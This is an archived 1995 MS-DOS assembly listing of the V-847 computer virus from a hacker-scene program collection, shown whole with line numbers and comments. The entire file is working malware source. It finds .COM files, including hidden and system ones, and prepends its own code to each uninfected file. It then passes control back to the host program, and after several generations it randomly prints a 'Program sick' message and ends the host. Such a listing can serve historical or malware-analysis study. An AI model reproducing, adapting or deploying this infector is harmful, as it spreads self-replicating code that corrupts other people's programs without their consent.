home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / C-847.ASM < prev    next >
Assembly Source File  |  1995-10-29  |  5KB  |  150 lines

  1.       page      ,132
  2.       name       V847
  3.       title      The V-847 virus
  4.      .radix      16
  5.       code       segment
  6.       assume     cs:code,ds:code
  7.       org        100
  8.  
  9. timer       equ      6C
  10. olddta      equ      80
  11. virlen      equ      offset endcode - offset start
  12. smalcod     equ      offset endcode - offset transf
  13. buffer      equ      offset endcode + 100
  14. newdta      equ      offset endcode + 10
  15. fname   =      newdta + 1E
  16. virlenx =      offset endcode - offset start
  17. newid   =      offset ident + virlenx + 100
  18.  
  19. start:
  20.       jmp      virus
  21.  
  22. ident      dw      'VI'
  23. counter    db      0
  24. allcom     db      '*.COM',0
  25. vleng      dw      44F            ;Unused
  26. progbeg    dd      10000h
  27. eof        dw      ?
  28. handle     dw      ?
  29.  
  30. virus:
  31.       mov      ax,cs            ;Move program code
  32.       add      ax,1000          ; 64K bytes forward
  33.       mov      es,ax
  34.       inc      [counter]
  35.       mov      si,offset start
  36.       xor      di,di
  37.       mov      cx,virlen
  38.       rep      movsb
  39.  
  40.       mov      dx,newdta        ;Set new Disk Transfer Address
  41.       mov      ah,1A            ;Set DTA
  42.       int      21
  43.       mov      dx,offset allcom ;Search for '*.COM' files
  44.       mov      cx,110b          ;Normal, Hidden or System
  45.       mov      ah,4E            ;Find First file
  46.       int      21
  47.       jc      done              ;Quit if none found
  48.  
  49. mainlp:
  50.       mov      dx,offset fname
  51.       mov      ax,3D02          ;Open file in Read/Write mode
  52.       int      21
  53.       mov      [handle],ax      ;Save handle
  54.       mov      bx,ax
  55.       push      es
  56.       pop      ds
  57.       mov      dx,buffer
  58.       mov      cx,0FFFF         ;Read all bytes
  59.       mov      ah,3F            ;Read from handle
  60.       int      21               ;Bytes read in AX
  61.       add      ax,buffer
  62.       mov      cs:[eof],ax      ;Save pointer to the end of file
  63.       db      3E                ;Force DS: prefix
  64.       cmp      [newid],'VI'     ;Infected?
  65.       je      close             ;Go find next file
  66.  
  67.       xor      cx,cx            ;Go to file beginning
  68.       mov      dx,cx
  69.       mov      bx,cs:[handle]
  70.       mov      ax,4200          ;LSEEK from the beginning of the file
  71.       int      21
  72.       jc      close             ;Leave this file if error occures
  73.  
  74.       mov      dx,0             ;Write the whole code (virus+file)
  75.       mov      cx,cs:[eof]      ; back onto the file
  76.       mov      bx,cs:[handle]
  77.       mov      ah,40            ;Write to handle
  78.       int      21
  79.  
  80. close:
  81.       mov      bx,cs:[handle]
  82.       mov      ah,3E            ;Close the file
  83.       int      21
  84.  
  85.       push      cs
  86.       pop      ds               ;Restore DS
  87.       mov      ah,4F            ;Find next matching file
  88.       mov      dx,newdta
  89.       int      21
  90.       jc      done              ;Exit if all found
  91.       jmp      mainlp           ;Otherwise loop again
  92.  
  93. done:
  94.       mov      dx,olddta        ;Restore old Disk Transfer Address
  95.       mov      ah,1A            ;Set DTA
  96.       int      21
  97.  
  98.       cmp      [counter],5      ;If counter goes above 5,
  99.       jb      progok            ; the program becomes "sick"
  100.       mov      ax,40
  101.       mov      ds,ax            ;Get the system timer value
  102.       mov      ax,word ptr ds:[timer]
  103.       push      cs
  104.       pop      ds               ;Restore DS
  105.       and      ax,1             ;At random (if timer value is odd)
  106.       jz      progok            ; display the funny message
  107.       mov      dx,offset message
  108.       mov      ah,9             ;Print string
  109.       int      21
  110.       int      20               ;Terminate program
  111.  
  112. message db      'Program sick error:Call doctor or '
  113.       db      'buy PIXEL for cure description',0A,0Dh,'$'
  114.  
  115. progok:
  116.       mov      si,offset transf ;Move this part of code
  117.       mov      cx,smalcod       ;Code length
  118.       xor      di,di            ;Move to ES:0
  119.       rep      movsb            ;Do it
  120.  
  121.       xor      di,di            ;Clear DI
  122.       mov      word ptr cs:[progbeg],0
  123.       mov      word ptr cs:[progbeg+2],es  ;Point progbeg at program start
  124.       jmp      cs:[progbeg]                ;Jump at program start
  125.  
  126. transf:
  127.       push      ds
  128.       pop      es
  129.       mov      si,buffer+100
  130.       cmp      [counter],1
  131.       jne      skip
  132.       sub      si,200
  133. skip:
  134.       mov      di,offset start
  135.       mov      cx,0FFFF         ;Restore original program's code
  136.       sub      cx,si
  137.       rep      movsb
  138.       mov      word ptr cs:[start],offset start
  139.       mov      word ptr cs:[start+2],ds
  140.       jmp      dword ptr cs:[start]      ;Jump to program start
  141. endcode label      byte
  142.  
  143.       int      20               ;Dummy program
  144.       int      20               ;???
  145.  
  146.       dw      0                 ;Unused
  147.  
  148. code      ends
  149.       end      start
  150.